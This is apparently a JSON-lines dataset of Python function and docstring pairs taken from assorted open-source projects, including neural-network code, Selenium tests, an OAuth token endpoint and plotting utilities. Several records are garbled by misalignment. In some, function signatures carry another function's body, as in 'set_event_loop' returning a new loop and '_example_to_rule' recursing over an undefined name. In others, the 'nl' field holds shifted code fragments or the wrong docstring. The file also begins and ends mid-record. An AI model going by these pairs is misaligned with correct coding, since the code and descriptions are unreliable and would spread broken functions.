image_transposed.contiguous().view(batch_size, height, width)\n\n\nclass ChromaUpsampling(nn.Module):\n \"\"\"Upsample chroma layers\n", "nl": "Args:patches(tensor) batch x height*width/64, height x widthheight(int)width(int)Returns:Tensor: batch x height x width"} {"code": "def test_pdb_error(driver):\n tt.reset_page(driver)\n tt.update_editor(driver, test_file)\n time.sleep(0.5)\n tt.start_stop_sim(driver)\n time.sleep(1.5)\n tt.start_stop_sim(driver)\n time.sleep(0.5)\n\n ticker = driver.find_element_by_xpath('//*[@id=\"ticks_tr\"]/td')\n sim_time = ticker.get_attribute(\"textContent\")\n\n assert float(sim_time) > 0", "nl": "test_file = import nengoimport pdbmodel = nengo.Network()with model:pdb.set_trace()stim = nengo.Node([0])a = nengo.Ensemble(n_neurons=50, dimensions=1)nengo.Connection(stim, a)"} {"code": "def _example_to_rule(source_str, target_str):\n current_rules = set()\n for source_str, target_str in examples:\n rule = _example_to_rule(source_str, target_str)\n current_rules.add(rule)\n logging.info(\"Added example rules: %s.\", len(current_rules))\n return current_rules\n\n", "nl": "Convert (source, target) example to a QCFGRule.return qcfg_rule.QCFGRule(tuple(source_str.split()), tuple(target_str.split()), arity=0)def get_example_rules(examples):Returns the example rules with one rule for each example."} {"code": "def token_endpoint(self, request=\"\", authn=\"\", dtype=\"urlencoded\", **kwargs):\n logger.debug(\"- token -\")\n logger.debug(\"token_request: %s\" % sanitize(request))\n\n areq = self.server.message_factory.get_request_type(\n \"token_endpoint\"\n )().deserialize(request, dtype)\n\n try:\n client_id = self.client_authn(self, areq, authn)\n except (FailedAuthentication, AuthnFailure) as err:\n logger.error(err)\n error = TokenErrorResponse(\n error=\"unauthorized_client\", error_description=\"%s\" % err\n )\n return Unauthorized(error.to_json(), content=\"application/json\")\n\n logger.debug(\"AccessTokenRequest: %s\" % sanitize(areq))\n\n if \"code\" in areq:\n try:\n _info = self.sdb[areq[\"code\"]]\n except KeyError:\n logger.error(\"Code not present in SessionDB\")\n error = TokenErrorResponse(\n error=\"unauthorized_client\", error_description=\"Invalid code.\"\n )\n return Unauthorized(error.to_json(), content=\"application/json\")\n\n resp = self.token_scope_check(areq, _info)\n if resp:\n return resp\n if (\n \"redirect_uri\" in _info\n and areq[\"redirect_uri\"] != _info[\"redirect_uri\"]\n ):\n logger.error(\"Redirect_uri mismatch\")\n error = TokenErrorResponse(\n error=\"unauthorized_client\",\n error_description=\"Redirect_uris do not match.\",\n )\n return Unauthorized(error.to_json(), content=\"application/json\")\n if \"state\" in areq:\n if _info[\"state\"] != areq[\"state\"]:\n logger.error(\"State value mismatch\")\n error = TokenErrorResponse(\n error=\"unauthorized_client\",\n error_description=\"State values do not match.\",\n )\n return Unauthorized(error.to_json(), content=\"application/json\")\n", "nl": "Provide clients with access tokens.:param authn: Auhentication info, comes from HTTP header.:param request: The request.:param dtype: deserialization method for the request."} {"code": "def test_valid_reduce(self):\n self.assertEqual(python_to_couch({'reduce': True}), {'reduce': 'true'})\n self.assertEqual(\n python_to_couch({'reduce': False}),\n {'reduce': 'false'}\n )\n", "nl": "Test reduce translation is successful."} {"code": "def __init__(self, *v, **k):\n if v and isinstance(v[0], (list, tuple)):\n v = v[0]\n if len(v) == 0:\n r, g, b, a = 0, 0, 0, 0\n elif len(v) == 1 and v[0] is None:\n r, g, b, a = 0, 0, 0, 0\n elif len(v) == 1 and isinstance(v[0], Color):\n r, g, b, a = v[0].r, v[0].g, v[0].b, v[0].a\n elif len(v) == 1:\n r, g, b, a = v[0], v[0], v[0], 1\n elif len(v) == 2:\n r, g, b, a = v[0], v[0], v[0], v[1]\n elif len(v) == 3:\n r, g, b, a = v[0], v[1], v[2], 1\n elif len(v) == 4:\n r, g, b, a = v[0], v[1], v[2], v[3]\n if k.get('mode') == HSB:\n r, g, b = colorsys.hsv_to_rgb(r, g, b)\n\n self.r = float(r)\n self.g = float(g)\n self.b = float(b)\n self.a = float(a)\n", "nl": " A color with RGBA values between 0.0-1.0."} {"code": "def median(self):\n v = float(np.median(self._points).clip(ADC_MIN, ADC_MAX))\n return round(v * self.sy + self.ty, 3)\n\n", "nl": "Returns:float: Median voltage."} {"code": "def delete_rule_variable(team_id, rule_id, variable_id):\n if not TeamPermission.is_manager_or_editor(team_id):\n abort(403)\n\n variable = VariableController.delete(\n filters={\n \"Variable\": {\n \"id\": variable_id,\n \"team_id\": team_id,\n \"rule_id\": rule_id,\n \"source_id\": None,\n \"check_id\": None,\n }\n }\n )\n return jsonify(format_variable(variable)), 200\n\n\n@api.route(\n \"/teams//sources//variables/\", methods=[\"DELETE\"]\n)\n@login_required", "nl": ".. :quickref: DELETE; Lorem ipsum."} {"code": "def set_event_loop(loop):\n return get_event_loop_policy().new_event_loop()\n\n", "nl": "Equivalent to calling get_event_loop_policy().set_event_loop(loop).get_event_loop_policy().set_event_loop(loop)def new_event_loop():Equivalent to calling get_event_loop_policy().new_event_loop()."} {"code": "def fit(self, G):\n\n x, adj, edge_index, labels = self.process_graph(G)\n\n adj = adj.cpu().numpy()\n x = x.cpu().numpy()\n\n nb_nodes = x.shape[0]\n ft_size = x.shape[1]\n\n adj = normalize_adj(adj)\n adj = (adj + sp.eye(adj.shape[0])).todense()\n\n x = torch.FloatTensor(x[np.newaxis])\n adj = torch.FloatTensor(adj[np.newaxis])\n\n self.model = ANEMONE_Base(ft_size,\n self.embedding_dim,\n 'prelu',\n self.negsamp_ratio_patch,\n self.negsamp_ratio_context,\n self.readout)\n\n optimiser = torch.optim.Adam(self.model.parameters(),\n lr=self.lr,\n weight_decay=self.weight_decay)\n\n b_xent_patch = nn.BCEWithLogitsLoss(reduction='none',\n pos_weight=torch.tensor(\n [self.negsamp_ratio_patch]))\n b_xent_context = nn.BCEWithLogitsLoss(reduction='none',\n pos_weight=torch.tensor([\n self.negsamp_ratio_context]))\n\n batch_num = nb_nodes // self.batch_size + 1\n\n multi_epoch_ano_score = np.zeros((self.num_epoch, nb_nodes))\n\n for epoch in range(self.num_epoch):\n\n self.model.train()\n\n all_idx = list(range(nb_nodes))\n random.shuffle(all_idx)\n\n subgraphs = generate_rw_subgraph(G, nb_nodes, self.subgraph_size)\n\n for batch_idx in range(batch_num):\n\n optimiser.zero_grad()\n\n is_final_batch = (batch_idx == (batch_num - 1))\n if not is_final_batch:\n idx = all_idx[batch_idx * self.batch_size:\n (batch_idx + 1) * self.batch_size]\n else:\n idx = all_idx[batch_idx * self.batch_size:]\n\n cur_batch_size = len(idx)\n\n lbl_patch = torch.unsqueeze(torch.cat(\n (torch.ones(cur_batch_size),\n torch.zeros(cur_batch_size * self.negsamp_ratio_patch))),\n 1)\n\n lbl_context = torch.unsqueeze(torch.cat(\n (torch.ones(cur_batch_size), torch.zeros(\n cur_batch_size * self.negsamp_ratio_context))), 1)\n\n ba = []\n bf = []\n added_adj_zero_row = torch.zeros(\n (cur_batch_size, 1, self.subgraph_size))\n added_adj_zero_col = torch.zeros(\n (cur_batch_size, self.subgraph_size + 1, 1))\n added_adj_zero_col[:, -1, :] = 1.\n added_feat_zero_row = torch.zeros((cur_batch_size, 1, ft_size))\n\n for i in idx:\n cur_adj = adj[:, subgraphs[i], :][:, :, subgraphs[i]]\n cur_feat = x[:, subgraphs[i], :]\n ba.append(cur_adj)\n bf.append(cur_feat)\n\n ba = torch.cat(ba)\n ba = torch.cat((ba, added_adj_zero_row), dim=1)\n ba = torch.cat((ba, added_adj_zero_col), dim=2)\n bf = torch.cat(bf)\n bf = torch.cat(\n (bf[:, :-1, :], added_feat_zero_row, bf[:, -1:, :]), dim=1)\n\n logits_1, logits_2 = self.model(bf, ba)\n\n loss_all_1 = b_xent_context(logits_1, lbl_context)\n loss_1 = torch.mean(loss_all_1)\n\n loss_all_2 = b_xent_patch(logits_2, lbl_patch)\n loss_2 = torch.mean(loss_all_2)\n\n loss = self.alpha * loss_1 + (1 - self.alpha) * loss_2\n\n loss.backward()\n optimiser.step()\n\n logits_1 = torch.sigmoid(torch.squeeze(logits_1))\n logits_2 = torch.sigmoid(torch.squeeze(logits_2))\n\n if self.alpha != 1.0 and self.alpha != 0.0:\n if self.negsamp_ratio_context == 1 and \\\n self.negsamp_ratio_patch == 1:\n ano_score_1 = - (logits_1[:cur_batch_size] -\n logits_1[cur_batch_size:]).detach().cpu().numpy()\n ano_score_2 = - (logits_2[:cur_batch_size] -\n logits_2[cur_batch_size:]).detach().cpu().numpy()\n else:\n ano_score_1 = - (logits_1[:cur_batch_size] -\n torch.mean(logits_1[cur_batch_size:].view(\n cur_batch_size, self.negsamp_ratio_context),\n dim=1)).detach().cpu().numpy()\n ano_score_2 = - (logits_2[:cur_batch_size] -\n torch.mean(logits_2[cur_batch_size:].view(\n cur_batch_size, self.negsamp_ratio_patch),\n dim=1)).detach().cpu().numpy()\n ano_score = self.alpha * ano_score_1 + (\n 1 - self.alpha) * ano_score_2\n elif self.alpha == 1.0:\n if self.negsamp_ratio_context == 1:\n ano_score = - (logits_1[:cur_batch_size] -\n logits_1[cur_batch_size:]).detach().cpu().numpy()\n else:\n ano_score = - (logits_1[:cur_batch_size] -\n torch.mean(logits_1[cur_batch_size:].view(\n cur_batch_size, self.negsamp_ratio_context),\n dim=1)).detach().cpu().numpy()\n elif self.alpha == 0.0:\n if self.negsamp_ratio_patch == 1:\n ano_score = - (logits_2[:cur_batch_size] -\n logits_2[cur_batch_size:]).detach().cpu().numpy()\n else:\n ano_score = - (logits_2[:cur_batch_size] -\n torch.mean(logits_2[cur_batch_size:].view(\n cur_batch_size, self.negsamp_ratio_patch),\n dim=1)).detach().cpu().numpy()\n\n multi_epoch_ano_score[epoch, idx] = ano_score\n\n ano_score_final = np.mean(multi_epoch_ano_score, axis=0)\n\n self.decision_scores_ = ano_score_final\n self._process_decision_scores()\n return self\n", "nl": "Fit detector with input data.Parameters----------G : PyTorch Geometric Data instance (torch_geometric.data.Data)The input data.Returns-------self : objectFitted estimator."} {"code": "def scrollLeftRightOut(self):\n\n if self.args.verbose:\n print('Running Pacman.scrollLeftRightInSteps, stepNumber: {}'.format(stepNumber))\n\n if stepNumber == 1:\n self.mouthOpenColumn(4, 10)\n\n elif stepNumber == 2:\n for i in range(3, 5):\n self.mouthClosedColumn(i, 13 - i)\n\n elif stepNumber == 3:\n for i in range(2, 5):\n self.mouthOpenColumn(i, 12 - i)\n\n elif stepNumber == 4:\n for i in range(1, 5):\n self.mouthClosedColumn(i, 11 - i)\n\n elif stepNumber == 5:\n for i in range(0, 5):\n self.mouthOpenColumn(i, 10 - i)\n\n elif stepNumber == 6:\n for i in range(0, 5):\n self.mouthClosedColumn(i, 9 - i)\n\n elif stepNumber == 7:\n for i in range(0, 5):\n self.mouthOpenColumn(i, 8 - i)\n\n scrollphat.update()\n time.sleep(self.args.pause_scroll)\n scrollphat.clear()\n", "nl": "Displays the Pacman scrolling out from left to rightif self.args.verbose:print('Running DisplayVertical.scrollIn')for i in range(0, DEFAULT_SCROLL_DISTANCE):self.scrollLeftRightOutSteps(i)## SCROLL RIGHT -> LEFT#def scrollRightLeftInSteps(self, stepNumber):Sets the columns positions from right to left scrolling-in from stepNumber"} {"code": "def listRequest():\n\n", "nl": "Returns a deferred whose callback will be passed a list of 4-tuplescontaining (name, max index, min index, flags) for each news group"} {"code": "def orbit(self, azim, elev):\n Moves the center (look-at) position while holding the camera in place.\n\n ============== =======================================================\n **Arguments:**\n *dx* Distance to pan in x direction\n *dy* Distance to pan in y direction\n *dz* Distance to pan in z direction\n *relative* String that determines the direction of dx,dy,dz.\n If \"global\", then the global coordinate system is used.\n If \"view\", then the z axis is aligned with the view\n direction, and x and y axes are in the plane of the\n view: +x points right, +y points up.\n If \"view-upright\", then x is in the global xy plane and\n points to the right side of the view, y is in the\n global xy plane and orthogonal to x, and z points in\n the global z direction.\n ============== =======================================================\n\n Distances are scaled roughly such that a value of 1.0 moves\n by one pixel on screen.\n\n Prior to version 0.11, *relative* was expected to be either True (x-aligned) or\n False (global). These values are deprecated but still recognized.\n \"\"\"", "nl": "Orbits the camera around the center position. *azim* and *elev* are given in degrees.if self.opts['rotationMethod'] == 'quaternion':q = QtGui.QQuaternion.fromEulerAngles(elev, -azim, 0) # rx-ry-rzq *= self.opts['rotation']self.opts['rotation'] = qelse: # default euler rotation methodself.opts['azimuth'] += azimself.opts['elevation'] = fn.clip_scalar(self.opts['elevation'] + elev, -90., 90.)self.update()def pan(self, dx, dy, dz, relative='global'):"} {"code": "def _format_table(fmt, headers, rows, colwidths, colaligns):\n Usage: tabulate [options] [FILE ...]\n\n Pretty-print tabular data. See also https://bitbucket.org/astanin/python-tabulate\n\n FILE a filename of the file with tabular data;\n if \"-\" or missing, read data from stdin.\n\n Options:\n\n -h, --help show this message\n -1, --header use the first row of data as a table header", "nl": "Produce a plain-text representation of the table.lines = []hidden = fmt.with_header_hide if (headers and fmt.with_header_hide) else []pad = fmt.paddingheaderrow = fmt.headerrowpadded_widths = [(w + 2*pad) for w in colwidths]padded_headers = _pad_row(headers, pad)padded_rows = [_pad_row(row, pad) for row in rows]if fmt.lineabove and \"lineabove\" not in hidden:lines.append(_build_line(padded_widths, colaligns, fmt.lineabove))if padded_headers:lines.append(_build_row(padded_headers, padded_widths, colaligns, headerrow))if fmt.linebelowheader and \"linebelowheader\" not in hidden:lines.append(_build_line(padded_widths, colaligns, fmt.linebelowheader))if padded_rows and fmt.linebetweenrows and \"linebetweenrows\" not in hidden:# initial rows with a line belowfor row in padded_rows[:-1]:lines.append(_build_row(row, padded_widths, colaligns, fmt.datarow))lines.append(_build_line(padded_widths, colaligns, fmt.linebetweenrows))# the last row without a line belowlines.append(_build_row(padded_rows[-1], padded_widths, colaligns, fmt.datarow))else:for row in padded_rows:lines.append(_build_row(row, padded_widths, colaligns, fmt.datarow))if fmt.linebelow and \"linebelow\" not in hidden:lines.append(_build_line(padded_widths, colaligns, fmt.linebelow))return \"\\n\".join(lines)def _main():\\"} {"code": "def channel_shuffle(x, groups):\n batchsize, num_channels, height, width = x.data.size()\n channels_per_group = num_channels // groups\n\n x = x.view(batchsize, groups,\n channels_per_group, height, width)\n\n x = torch.transpose(x, 1, 2).contiguous()\n\n x = x.view(batchsize, -1, height, width)\n\n return x", "nl": "# >>> a = torch.arange(12)# >>> b = a.reshape(3,4)# >>> c = b.transpose(1,0).contiguous()# >>> d = c.view(3,4)# >>> a# tensor([ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11])# >>> b# tensor([[ 0, 1, 2, 3],# [ 4, 5, 6, 7],# [ 8, 9, 10, 11]])# >>> c# tensor([[ 0, 4, 8],# [ 1, 5, 9],# [ 2, 6, 10],# [ 3, 7, 11]])# >>> d# tensor([[ 0, 4, 8, 1],# [ 5, 9, 2, 6],# [10, 3, 7, 11]])"} {"code": "def test_save_with_filename():\n im = create_image()\n with NamedTemporaryFile() as outfile:\n save_image(im, outfile.name, 'JPEG')\n\n", "nl": "Test that ``save_image`` accepts filename strings (not just file objects).This is a test for GH-8."} {"code": "def draw_hudson(problem, po):\n\n from pyrocko.plot import beachball, hudson\n from pyrocko import moment_tensor as mtm\n from numpy import random\n if problem.config.problem_config.n_sources > 1:\n raise NotImplementedError(\n 'Hudson plot is not yet implemented for more than one source!')\n\n if po.load_stage is None:\n po.load_stage = -1\n\n m6s, best_mt, llk_str = extract_mt_components(problem, po)\n\n logger.info('Drawing Hudson plot ...')\n\n fontsize = 12\n beachball_type = 'full'\n color = 'red'\n markersize = fontsize * 1.5\n markersize_small = markersize * 0.2\n beachballsize = markersize\n beachballsize_small = beachballsize * 0.5\n\n fig = plt.figure(figsize=(4., 4.))\n fig.subplots_adjust(left=0., right=1., bottom=0., top=1.)\n axes = fig.add_subplot(1, 1, 1)\n hudson.draw_axes(axes)\n\n data = []\n for m6 in m6s:\n mt = mtm.as_mt(m6)\n u, v = hudson.project(mt)\n\n if random.random() < 0.05:\n try:\n beachball.plot_beachball_mpl(\n mt, axes,\n beachball_type=beachball_type,\n position=(u, v),\n size=beachballsize_small,\n color_t='black',\n alpha=0.5,\n zorder=1,\n linewidth=0.25)\n except beachball.BeachballError as e:\n logger.warn(str(e))\n\n else:\n data.append((u, v))\n\n if data:\n u, v = num.array(data).T\n axes.plot(\n u, v, 'o',\n color=color,\n ms=markersize_small,\n mec='none',\n mew=0,\n alpha=0.25,\n zorder=0)\n\n if best_mt is not None:\n mt = mtm.as_mt(best_mt)\n u, v = hudson.project(mt)\n\n try:\n beachball.plot_beachball_mpl(\n mt, axes,\n beachball_type=beachball_type,\n position=(u, v),\n size=beachballsize,\n color_t=color,\n alpha=0.5,\n zorder=2,\n linewidth=0.25)\n except beachball.BeachballError as e:\n logger.warn(str(e))\n\n if isinstance(problem.event.moment_tensor, mtm.MomentTensor):\n mt = problem.event.moment_tensor\n u, v = hudson.project(mt)\n\n if not po.reference:\n try:\n beachball.plot_beachball_mpl(\n mt, axes,\n beachball_type=beachball_type,\n position=(u, v),\n size=beachballsize,\n color_t='grey',\n alpha=0.5,\n zorder=2,\n linewidth=0.25)\n logger.info('drawing reference event in grey ...')\n except beachball.BeachballError as e:\n logger.warn(str(e))\n else:\n logger.info(\n 'No reference event moment tensor information given, '\n 'skipping drawing ...')\n\n outpath = os.path.join(\n problem.outfolder,\n po.figure_dir,\n 'hudson_%i_%s_%i.%s' % (\n po.load_stage, llk_str, po.nensemble, po.outformat))\n\n if not os.path.exists(outpath) or po.force or po.outformat == 'display':\n\n if not po.outformat == 'display':\n logger.info('saving figure to %s' % outpath)\n fig.savefig(outpath, dpi=po.dpi)\n else:\n plt.show()\n\n else:\n logger.info('Plot already exists! Please use --force to overwrite!')\n\n", "nl": "Modified from grond. Plot the hudson graph for the reference event(grey)and the best solution (red beachball).Also a random number of models from theselected stage are plotted as smaller beachballs on the hudson graph."} {"code": "def parse_range(s: Union[str, List]) -> List[int]:\n if isinstance(s, list): return s\n ranges = []\n range_re = re.compile(r'^(\\d+)-(\\d+)$')\n for p in s.split(','):\n m = range_re.match(p)\n if m:\n ranges.extend(range(int(m.group(1)), int(m.group(2))+1))\n else:\n ranges.append(int(p))\n return ranges\n\n", "nl": "Parse a comma separated list of numbers or ranges and return a list of ints.Example: '1,2,5-10' returns [1, 2, 5, 6, 7]"} {"code": "def region_proposal_roidb(self):\n cache_file = os.path.join(self.cache_path,\n self.name + '_' + cfg.REGION_PROPOSAL + '_region_proposal_roidb.pkl')\n\n if os.path.exists(cache_file):\n with open(cache_file, 'rb') as fid:\n roidb = cPickle.load(fid)\n print '{} roidb loaded from {}'.format(self.name, cache_file)\n return roidb\n\n print 'Loading region proposal network boxes...'\n model = cfg.REGION_PROPOSAL\n roidb = self._load_rpn_roidb(None, model)\n print 'Region proposal network boxes loaded'\n print '{} region proposals per image'.format(self._num_boxes_proposal / len(self.image_index))\n\n with open(cache_file, 'wb') as fid:\n cPickle.dump(roidb, fid, cPickle.HIGHEST_PROTOCOL)\n print 'wrote roidb to {}'.format(cache_file)\n\n return roidb\n", "nl": "Return the database of regions of interest.Ground-truth ROIs are also included.This function loads/saves from/to a cache file to speed up future calls."} {"code": "def latent_to_data(self, latents):", "nl": "inverse pass"} {"code": "def test_build_weighted_giou_localization_loss(self):\n losses_proto = losses_pb2.Loss()\n text_format.Merge(losses_text_proto, losses_proto)\n _, localization_loss, _, _, _, _, _ = losses_builder.build(losses_proto)\n self.assertIsInstance(localization_loss,\n losses.WeightedGIOULocalizationLoss)\n", "nl": "losses_text_proto = localization_loss {weighted_giou {}}classification_loss {weighted_softmax {}}"} {"code": "def file_based_input_fn_builder(input_file, seq_length, is_training, drop_remainder):\n example = tf.parse_single_example(record, name_to_features)\n\n for name in list(example.keys()):\n t = example[name]\n if t.dtype == tf.int64:\n t = tf.to_int32(t)\n example[name] = t\n\n return example\n", "nl": "Creates an `input_fn` closure to be passed to TPUEstimator.name_to_features = {\"input_ids\": tf.FixedLenFeature([seq_length], tf.int64),\"input_mask\": tf.FixedLenFeature([seq_length], tf.int64),\"segment_ids\": tf.FixedLenFeature([seq_length], tf.int64),\"label_ids\": tf.FixedLenFeature([], tf.int64),\"is_real_example\": tf.FixedLenFeature([], tf.int64),}def _decode_record(record, name_to_features):Decodes a record to a TensorFlow example."} {"code": "def product(self):\n if self._product is None:\n self._product = util.get_string(self, self.iProduct)\n return self._product\n\n @property", "nl": " Return the USB device's product string descriptor.This property will cause some USB traffic the first time it is accessedand cache the resulting value for future use."} {"code": "def group(self, *args, **kwargs):", "nl": "This works exactly like the method of the same name on a regular:class:`click.Group` but it defaults the group class to:class:`AppGroup`."} {"code": "def test_update_app_priority_noop(self):\n zkclient = treadmill.zkutils.ZkClient()\n kazoo.client.KazooClient.create.return_value = '/events/000-cell-1'\n masterapi.cell_insert_bucket(zkclient, 'pod:pod1')\n\n kazoo.client.KazooClient.create.assert_has_calls([\n mock.call('/cell/pod:pod1', value=b'',\n makepath=True, acl=mock.ANY,\n ephemeral=False,\n sequence=False),\n mock.call('/events/000-cell-', value=b'',\n makepath=True, acl=mock.ANY,\n sequence=True, ephemeral=False)\n ])\n\n @mock.patch('kazoo.client.KazooClient.get', mock.Mock())\n @mock.patch('kazoo.client.KazooClient.exists', mock.Mock())\n @mock.patch('kazoo.client.KazooClient.get_children', mock.Mock())\n @mock.patch('kazoo.client.KazooClient.set', mock.Mock())\n @mock.patch('kazoo.client.KazooClient.create', mock.Mock())\n @mock.patch('kazoo.client.KazooClient.exists', mock.Mock())\n @mock.patch('time.time', mock.Mock(return_value=0))", "nl": "Tests app api.zkclient = treadmill.zkutils.ZkClient()# kazoo.client.KazooClient.create.return_value = '/events/001-apps-1'masterapi.update_app_priorities(zkclient, {'foo.bar#1': 10,'foo.bar#2': 20})treadmill.zkutils.update.assert_has_calls([mock.call(mock.ANY, '/scheduled/foo.bar#1', {'priority': 10},check_content=True),mock.call(mock.ANY, '/scheduled/foo.bar#2', {'priority': 20},check_content=True),],any_order=True)# Verify that event is placed correctly.self.assertFalse(treadmill.scheduler.masterapi.create_event.called)@mock.patch('kazoo.client.KazooClient.get', mock.Mock(return_value=(b'{}', None)))@mock.patch('kazoo.client.KazooClient.set', mock.Mock())@mock.patch('kazoo.client.KazooClient.create', mock.Mock())@mock.patch('kazoo.client.KazooClient.exists',mock.Mock(return_value=False))def test_cell_insert_bucket(self):Tests inserting bucket into cell."} {"code": "def _clone(self, identifier=None, with_tree=False, deep=False):\n return self.__class__(identifier=identifier, tree=self if with_tree else None, deep=deep)\n\n @property", "nl": "Clone current instance, with or without tree.Method intended to be overloaded, to avoid rewriting whole \"subtree\" and \"remove_subtree\" methods wheninheriting from Tree.>>> class TreeWithComposition(Tree):>>> def __init__(self, tree_description, tree=None, deep=False, identifier=None):>>> self.tree_description = tree_description>>> super(TreeWithComposition, self).__init__(tree=tree, deep=deep, identifier=identifier)>>>>>> def _clone(self, identifier=None, with_tree=False, deep=False):>>> return TreeWithComposition(>>> identifier=identifier,>>> deep=deep,>>> tree=self if with_tree else None,>>> tree_description=self.tree_description>>> )>>> my_custom_tree = TreeWithComposition(tree_description=\"smart tree\")>>> subtree = my_custom_tree.subtree()>>> subtree.tree_description\"smart tree\""} {"code": "def call(self, feature_pyramid):\n feature_maps = [el[1] for el in feature_pyramid]\n output_feature_maps = [None for node in self.bifpn_output_node_names]\n\n for index, node in enumerate(self.bifpn_node_config):\n node_scope = 'node_{:02d}'.format(index)\n with tf.name_scope(node_scope):\n input_block_results = []\n for input_index, input_block in self.node_input_blocks[index]:\n block_result = feature_maps[input_index]\n for layer in input_block:\n block_result = layer(block_result)\n input_block_results.append(block_result)\n\n node_result = self.node_combine_op[index](input_block_results)\n\n for layer in self.node_post_combine_block[index]:\n node_result = layer(node_result)\n\n feature_maps.append(node_result)\n\n if node['name'] in self.bifpn_output_node_names:\n index = self.bifpn_output_node_names.index(node['name'])\n output_feature_maps[index] = node_result\n\n return collections.OrderedDict(\n zip(self.bifpn_output_node_names, output_feature_maps))", "nl": "Compute BiFPN feature maps from input feature pyramid.Executed when calling the `.__call__` method on input.Args:feature_pyramid: list of tuples of (tensor_name, image_feature_tensor).Returns:feature_maps: an OrderedDict mapping keys (feature map names) totensors where each tensor has shape [batch, height_i, width_i, depth_i]."} {"code": "def gcc_llvm():\n if gcc_llvm.is_llvm is None:\n try:\n p_out = output_subprocess_Popen([theano.config.cxx, '--version'])\n output = p_out[0] + p_out[1]\n except OSError:\n\n output = b('')\n gcc_llvm.is_llvm = b(\"llvm\") in output\n return gcc_llvm.is_llvm\n\ngcc_llvm.is_llvm = None\n\n\nclass Compiler(object):\n \"\"\"\n\n @classmethod", "nl": "Detect if the g++ version used is the llvm one or not.It don't support all g++ parameters even if it support many of them."} {"code": "def test_getDistribChild(self):\n home = filepath.FilePath(self.bob[-2])\n home.makedirs()\n web = home.child('.twistd-web-pb')\n request = DummyRequest(['bob'])\n result = self.directory.getChild('bob.twistd', request)\n self.assertIsInstance(result, distrib.ResourceSubscription)\n self.assertEqual(result.host, 'unix')\n self.assertEqual(abspath(result.port), web.path)\n\n", "nl": "L{UserDirectory.getChild} returns a L{ResourceSubscription} instancewhen passed the name of a user suffixed with C{\".twistd\"} who has ahome directory containing a I{.twistd-web-pb} socket."} {"code": "def ping_box(self):\n :param query_expression: str, search_id\n :param length: int,length value\n :return: response, json object\"\"\"", "nl": "Ping the endpoint.params = dict()params['$top'] = 1return self.client.call_api(self.endpoint, 'GET', urldata=params, timeout=self.timeout)def run_search(self, query_expression, length):get the response from azure_sentinel endpoints"} {"code": "def func_span(func, tags=None, require_active_trace=False):\n current_span = get_current_span()\n\n if current_span is None and require_active_trace:\n @contextlib2.contextmanager", "nl": "Creates a new local span for execution of the given `func`.The returned span is best used as a context manager, e.g... code-block:: pythonwith func_span('my_function'):return my_function(...)At this time the func should be a string name. In the future this codecan be enhanced to accept a real function and derive its qualified name.:param func: name of the function or method:param tags: optional tags to add to the child span:param require_active_trace: controls what to do when there is no activetrace. If require_active_trace=True, then no span is created.If require_active_trace=False, a new trace is started.:return: new child span, or a dummy context manager if there is noactive/current parent span"} {"code": "def test_package_id_lt():\n result = PackageId.from_uri_path(\"skill/author/package_name/0.1.0\")\n assert str(result.package_type) == \"skill\"\n assert result.public_id.name == \"package_name\"\n assert result.public_id.author == \"author\"\n assert result.public_id.version == \"0.1.0\"\n\n", "nl": "Test PackageId.__lt__package_id_1 = PackageId(PackageType.PROTOCOL, PublicId(\"author\", \"name\", \"0.1.0\"))package_id_2 = PackageId(PackageType.PROTOCOL, PublicId(\"author\", \"name\", \"0.2.0\"))assert package_id_1 < package_id_2def test_package_id_from_uri_path():Test PackageId.from_uri_path"} {"code": "def to_series(self, **kwargs):\n\n return pd.Series(self.labels, dtype=object, **kwargs)\n\n\nclass DateTimeComponent(Component):\n \"\"\"\n", "nl": "Convert into a pandas.Series object.This will be converted as a dtype=np.object!Parameters----------**kwargs :All kwargs are passed to the Series constructor.Returns-------:class:`pandas.Series`"} {"code": "def vendor_id(self):\n return self._product_id\n\n @property", "nl": "Numeric vendor identifier, or None if N/A.return self._vendor_id@propertydef product_id(self):Numeric product identifier, or None if N/A."} {"code": "def predict(self, X):\n return super(Regressor, self)._predict(X)\n\n @property", "nl": "Calculate predictions for specified inputs.Parameters----------X : array-like, shape (n_samples, n_inputs)The input samples as real numbers.Returns-------y : array, shape (n_samples, n_outputs)The predicted values as real numbers."} {"code": "def get_manifest(self):\n try:\n url = \"{}/rest/about/manifest.json\".format(self.service_url)\n r = requests.get(url, auth=(self.username, self.password))\n return r.json()\n\n except Exception as e:\n return \"get_manifest error: \", e\n", "nl": "Returns the manifest of the geoserver. The manifest is a JSON of all the loaded JARs on the GeoServer server."} {"code": "def train_fasttext(input_file, output_file, skipgram, loss, size, epochs):\n sentence = LineSentence(input_file)\n\n model = FastText(sentence, sg=skipgram, hs=loss, size=size,\n alpha=0.05, window=5, min_count=5, min_n=2,\n max_n=5, workers=3, iter=epochs)\n\n model.save(output_file)\n\n", "nl": "train_fasttext(args**) -> Takes the input file, theoutput file and the modelhyperparameters as argumentsand trains the model accordingly.The model is saved at the output location.Arguments---------input_file : Input pre-processed wiki dumpoutput_file : Output directory to save the model.skipgram : Layers of the model (0 - CBOW, 1 - Skipgram)loss : Loss Function (0 - Negative Sampling, 1 - Heirarichal Loss)size : Embedding size (100 ~ 300)epochs : Number of epochs"} {"code": "def create_revision(self, proposed):\n rev_url = \"{}revision\".format(self.dvmdb_url)\n body = {\"method\": \"add\", \"params\": [{\"url\": rev_url, \"data\": proposed}], \"session\": self.session}\n response = self.make_request(body).json()\n\n return response\n", "nl": "This method is used to create an ADOM revision on the FortiManager. The make_request method is used to make theAPI request to add the revision.:param proposed: Type list.The data portion of the API Request.:return: The json response data from the request to make a revision."} {"code": "def test_style_information_is_loaded(self):\n styles = self._load_styles_from_xml(xml)\n self.assertEqual(len(styles.styles), 1)\n style = styles.styles[0]\n self.assertEqual(style.style_type, 'character')\n self.assertEqual(style.style_id, 'foo')\n self.assertEqual(style.name, 'Foo')\n", "nl": "xml = b"} {"code": "def description(self, group):\n\n resp, lines = self.descriptions(group)\n if len(lines) == 0:\n return \"\"\n else:\n return lines[0][1]\n", "nl": "Get a description for a single group. If more than onegroup matches ('group' is a pattern), return the first. If nogroup matches, return an empty string.This elides the response code from the server, since it canonly be '215' or '285' (for xgtitle) anyway. If the responsecode is needed, use the 'descriptions' method.NOTE: This neither checks for a wildcard in 'group' nor doesit check whether the group actually exists."} {"code": "def __call__(self, method):\n if not inspect.isroutine(method):\n raise TypeError(\"@UnbindField can only be applied on functions\")\n\n validate_method_arity(method, \"field\", \"service\", \"service_reference\")\n\n _append_object_entry(\n method,\n constants.IPOPO_METHOD_FIELD_CALLBACKS,\n (\n 